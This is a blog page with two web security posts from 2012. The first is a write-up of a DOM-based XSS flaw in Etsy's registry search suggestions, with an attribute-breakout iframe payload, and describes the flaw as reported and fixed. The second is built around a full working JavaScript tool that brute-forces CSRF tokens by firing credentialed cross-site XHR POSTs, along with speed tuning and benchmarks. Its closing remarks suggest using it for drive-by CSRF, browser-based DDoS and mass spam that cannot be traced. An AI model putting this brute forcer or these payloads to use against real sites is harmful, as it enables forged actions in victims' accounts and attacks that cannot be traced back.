Friday 14 December 2012

DOM Based XSS in Etsy


I recently found a DOM based XSS vulnerability in the Registry search function on Etsy.com and thought I'd do a quick write up.


What is DOM based XSS?

DOM based XSS (In this article I'll abreviate to DBX) is slightly different to regular XSS in that we are targeting the underlying Javascript used on the client-side instead of reflecting our attack off some server-side function. The end goal is however the same, typically the execution of malicious Javascript within the trusted domain of the target site.

Usually to find DBX vulnerabilities we need to trace the input and output of client-side Javascript functions and find data flows with poor (or non-existent) input validation. Manual code analysis is possible but it's far quicker and easier to use an automated tool such as Dominator.

Dominator is implemented using a modified version of Firefox and will dynamically test pages as you browse. It specifically looks for sources and sinks, essentially where input data goes in and where it comes out. For data flows that are potentially vulnerable Dominator will give you a warning and a step by step view of how exactly the data is being processed. It's then down to you to pick apart the output to figure out if it can actually be exploited or not.

You can get a free trial of Dominator Pro at the official site here:

https://dominator.mindedsecurity.com/

Although there are multiple places where DBX vulnerabilities can appear, today I'm going to be looking at the handy little search box suggestion drop-down.


The humble suggestion function...

The search box suggestion menu is a staple function in most modern web sites. You enter some text in a search box and it gives you a set of suggestions back.

Me searching for a new dress on Etsy. (I ended up buying the hot pink dress ;) )

In the background there's a clever piece of Javascript running that detects when the input changes, dynamically processes the input and sends back suggestions. It's a useful function but does it validate my input?


Enter Dominator!

As mentioned before Dominator will break down the Javascript functions on the page and figure out where the sources and sinks are. Any time we can control a potentially sensitive sink Dominator will produce an alert and show us how our data is being processed.

How can we use this information to exploit a search field? Rather conveniently Stefano (the creator of Dominator) produced a handy tutorial here:

http://www.youtube.com/watch?v=f_It469LUFM

With Stefano's suggestions in mind I took a look at Etsy.com and came across the Registry suggestion field here:

http://www.etsy.com/registry

This field unsecurely used the search input and was vulnerable to DBX. I forgot to take a picture of the *actual* vulnerable code but here is equivalent code that is used for the main Etsy search function. Check it out:


Dominator tells us how our input data is manipulated as it passes through the javascript in the background. I started off by typing 'abc' in the search box and as you can see a replace function removed carriage returns, the input was made lowercase then concatenated with other strings and added to the page.

What's missing? Input validation! According to this input processing path, not once are special characters removed or replaced.


How can we exploit this?

Ideally we'd like to insert some malicious javascript in the page. How about inserting a sneaky iframe containing javascript?

<iframe/onload=alert("XSS")>

Simply inserting this code into the search box won't work as the output is still inside various quotation marks and HTML tags. Looking down the screenshot above, the bottom part shows our finished html that will be written to the page. In this code you'll notice two possible injection points, the first is by the span tags, the second is in the list object's data-value.

The first injection point actually had some additional checks but the second injection point didn't. So to exploit we just close off the quote for the data-value, close off the list tag and then insert our iframe.

a"</li><iframe/onload=alert("XSS")>

Entering this query into the search box would successfully lead to exploitation.  

Although I didn't review the code, I believe the main search box isn't vulnerable because of two mitigations. The first is that if your query contains special character such as slashes, quotes or brackets, the search box redirects you to a default text "find shop names containing" which prevents usage of the suggestion function. The second mitigation involves a maximum length on the suggestion. If your input is too long you will no longer be given suggestions.


Final Thoughts

This vulnerability yet again demonstrates the importance of using proper input validation for ALL inputs. Even in 2012 (almost 2013!) developers are still missing the basics it seems.

DBX is an interesting attack vector that's not as well known or researched as regular XSS partly due to the difficulty of dynamically analysing Javascript. Dominator has really filled a gap in the market providing both attackers and defenders with a way to detect potential DBX vulnerabilities. Props to Stefano for making such an awesome tool.

Lastly I want to give a shout out to Etsy for a quick response/fix as well as the bounty!

Cheers,

The PwnDizzler

Tuesday 4 December 2012

CSRF Token Brute Force Using XHR

In my last post I mentioned I had been working on a client-side XHR based CSRF token brute forcer. In this post I'm going to talk in-depth about the script I've developed, how it performs compared to other techniques and the limitations I encountered.

Previously I covered the basics of CSRF and demo'ed two iframe based brute force scripts. The posts can be found here:

http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html

And here:

http://pwndizzle.blogspot.com/2012/11/client-side-csrf-token-brute-forcing.html


CSRF token brute forcing: IFRAME vs XHR

Having already introduced client-side CSRF token brute forcing in my previous post I'm going to jump straight into how techniques using iframes and XHR compare with each other.

Fundamentally iframes and xhr are completely different things. Iframes provide a way to embed content in a page. In the previous examples however we used them as a way to send hundreds of arbitrary requests to a third party without leaving the current page. Although iframes can do this, they were never optimised for it.

XMLHttpRequest on the other hand was created as a way to send/receive arbitrary data. The granularity offered by XHR allows greater control of the connection and greater efficiency when it comes to brute forcing.


Doesn't Same Origin Policy prevent Cross-Domain Requests?

I meant to cover this in the previous post but didn't have time. The short answer is no.

Iframes by design are allowed to load cross domain content but browser's prevent cross domain interaction between the page and the iframe. It is still possible to send a request through an iframe (for CSRF), we just can't see the response.

One of the most interesting attacks involving iframes is click-jacking, where we embed a legitimate site within a malicious page we control and trick the user into interacting with the embedded page. Wikipedia:

http://en.wikipedia.org/wiki/Clickjacking

Most large sites now implement the x-frame-options header to prevent framing of content. If a server responds with the x-frame-options header set to DENY, the browser will not render the content. Lets compare the response headers of Facebook and Amazon:

Facebook homepage, notice the X-Frame-Options header.

Amazon homepage, no X-Frame-Options header!


As you can see below the Amazon main page is open to click jacking.



Anyhow I'm getting a bit off topic, back to XHR! XHR like any other browser request is subject to the usual restrictions, by default cross domain requests are allowed but responses are never rendered. There are some exceptions of course such as scripts, CSS, images and CORS.

But for CSRF though, the important point is that browsers allow you to send cross domain requests. You can't see responses but in a CSRF attack you don't care about responses!

For more information on XHR its worth checking out:



Lets build a brute forcer!

Following on from my previous work I decided to write a XHR-based CSRF token brute forcer to see if I could speed up the brute force process. I had a search around on Google and couldn't find a CSRF token brute force script that used XHR, so I decided to write my own.

1. XHR Code

I started off with some basic XHR code. Shreeraj Shah covers a simple XHR CSRF example here:

http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html

var xhr = new XMLHttpRequest();
var url = 'http://192.168.1.124/submit.php';
xhr.open('POST',url, true);
xhr.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials='true';
var datas = 'name=a&phone=b';
xhr.send(datas);

It's pretty self explanatory, we create our XHR connection object, set basic request parameters with open, define extra headers, create the data string we want to send and send it.

Shreeraj's example includes the withCredentials method to ensure our request would use the user's cookie when sent and he also sets the content-type to plain text. The site I was testing against required me to use a content-type of "application/x-www-form-urlencoded" and didn't enforce preflight checks so I changed this parameter.


2. Iteration To Send Multiple Requests

Just like the previous brute forcers I also found setInterval and setTimeout to be the quickest way to send and control XHR. I configured setInterval to repeatedly call a function containing the XHR connection code. SetTimeout stops setInterval after a specified time period and outputs the finished message to the screen.

I used a set of global variables to maintain the current state of the attack, each new request would use the current values and increment them. I did try using a FOR loop to spam requests but I found Chrome throttled the requests to one per second.

var task = setInterval("openXHR();", 1);

setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

I created some funky incrementing code to allow iteration through number or letter arrays and also to allow arbitrary positioning of variables. No doubt this can be cleaned up a bit.


3. Maximizing Throughput: A Balancing Act

I played around quite a bit with different ways to increase the throughput. This was a careful balancing act between the number of connections, the number of requests being sent to the connections and how fast connections could be established and pulled down.


  • Multiple XHR Objects
The first idea I had to increase throughput was using multiple XHR objects. Browsers usually allow 6 concurrent connections to the same site so why not create 6 XHR objects to work in parralel? Multiple connections working in parallel means more requests per second right? Kinda.

I discovered Chrome would use the same connection for sending multiple requests provided you gave it enough time for each request to receive a response. If you start forcing requests down the same connection Chrome opens new connections. So it turns out you don't really need to use multiple objects, with a single XHR object Chrome automatically runs at maximum speed.


Using an interval of 50ms Chrome will use a single connection (src port)


With an interval of 10ms Chrome opens a new connection for each request

(For attacking sites locally multiple XHR objects will give you a speed increase as responses are received a lot quicker. However when you try this with a remote site the latency causes requests to start backing up and this technique no longer works.)


  • Aborting connections after the request
Requests were typically taking 10ms to establish a connection, 1ms to send data and 10ms to wait for the confirmation ACK. To prevent the browser waiting for a response I tried using the abort method. My aim was to close the connection as soon as the request was sent as this would free up one of the browser's concurrent connection slots.









Typical timings for a request (see Time column)

I tested this by performing xhr.send followed by a call to a wait function, then xhr.abort. This technique worked but was not as fast as I had hoped and capped out around 40 requests per second.






Using the abort method we send a FIN after our request is sent

As you can see from the packet capture, the abort method sends a FIN to gracefully close the connection and the connection stays open waiting for a FIN ACK. Compared to our initial run its no faster. Ideally we want to close the connection as quickly as possible so would rather send an RST packet but I couldn't find a way to do this :(


  • Keeping it simple?!?
Often the simplest solution is the best solution so I tried using a single XHR object and just sending requests as fast as possible using setInterval with a 1 millisecond wait. Interestingly this produced the highest throughput per second, around 60 requests per second.


Spamming requests!

The catch with this technique is that its unreliable. You will often lose packets as you are trying to send data when no connection slot is free. Using an interval of just 1 millisecond I sometimes saw losses of up to 75%. The interval can be adjusted according to how reliable you need the attack to be.


4. The Finished Product

Putting everything together here's the final code for the brute forcer:

<html>
<body>
<div id="a">Sending request: <output id="result"></output></br>
<div>NOTE: Browser requests sent != Actual requests sent (Check wireshark)</div>
<output id="done"></output></div>

<script>
//Create XHR objects
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();

//Global variables
var url = 'http://192.168.1.124/submit.php';
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var alphabet = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//Simple wait function
function tea_break(msec) { 
 var date = new Date(); 
 var curDate = null; 
 do { curDate = new Date(); } 
 while(curDate - date < msec); }

//Function to send a request using current parameters
function openXHR(){
 
 xhr1.open('POST',url, true);
 xhr1.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
 xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 xhr1.withCredentials='true';
 var data1 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 xhr1.send(data1);
 //***Optional wait and abort
 //tea_break(5);
 //xhr.abort();
 //Screen output
 document.getElementById('result').innerText = "" + j + k + l + m;
 
 //***Optional second XHR object
 //xhr2.open('POST',url, true);
 //xhr2.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
 //xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 //xhr2.withCredentials='true';
 //var data2 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 //xhr2.send(data2);

 //Will need to change limits/logic for alphabet set
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over to 0 at end of set
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
 if(m==0 && l==0 && k==0 && j==9){
 j=0;
 } else if(m==0 && l==0 && k==0){
 j++;
 }
 
}

//Speed at which requests are sent
var task = setInterval("openXHR();", 1);
//Stop sending after x milliseconds
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

</script>

</body>
</html>




Show me some benchmarks!

For this set of testing I relied on Wireshark to get a definitive answer of what packets were actually being sent. Chrome (and likely other browsers) show requests taking place in the developer tools but in reality only a limited number actually complete successfully.

Wired vs wireless had a big impact so I performed all tests plugged in via ethernet. Responses were typically 10ms for wired and 30ms for wireless.

I've also included revised results from my previous tests using IFrames. Results show the maximum number of requests per second.









Browser
Chrome22 IE9 FF16

Multi-IFrame Local 29 25 14


Remote 7 8 7

Single IFrame Local 60 79 10


Remote 50 1 10

XHR Local 110 Error 70


Remote 55 Error 65








Non-Browser





Python Remote 300



BlackMamba Remote 3000?










The good news is that the XHR method is faster than the other techniques especially for local attacks. The bad news is that XHR is only marginally faster and is still too slow to crack most CSRF tokens in use today.

The same limitations I discussed in the previous post still apply, with latency and concurrent connection limits having the biggest impact on throughput. Traditional CSRF prevention techniques such as complex tokens or Referrer/Origin checking also prevent this type of CSRF attack.

I've included some numbers for a direct brute force attack using python. At BlackHat this year Dan Kaminsky mentioned BlackMamba which is a concurrent networking library for Python. Using this library he was able to scan 3000 addresses per second. Sweet!

http://www.slideshare.net/dakami/black-ops-2012




Final Thoughts

So we have a brute forcer, what now? Find a page with a weak token, build a malicious page, trick users into visiting your page and enjoy the CSRF, right? ;)

After working on the iframe based brute forcers and the XHR version I feel a little disappointed I couldn't push the requests per second into the hundreds or thousands. For most sites token entropy isn't that bad and realistically you'd need to send 1,000 to 100,000 minimum requests per second for an attack to succeed given the short time frame offered by a drive-by style attack. Unfortunately it's just not feasible to send that many requests with current technology.

Whilst the main focus of my work has been brute force CSRF, the scripts I've been demonstrating essentially provide a client-side mechanism for sending thousands of post requests. Such a mechanism could be used for all kinds of mischief, browser based DDOS and mass spamming spring to mind.

Probably the best thing about these attacks is that all requests would come from unsuspecting users who just happen to run your javascript. The only evidence of the true origin of the attack would be the referrer header of requests and if the malicious javascript was hosted on a legitimate site there would be no way to trace the true origin at all.

I hope you guys have found this interesting, any comments, questions or corrections just leave a message below. Also if anyone can suggest any alternatives to iframes or XHR please let me know! :)

Cheers,

Pwndizzle out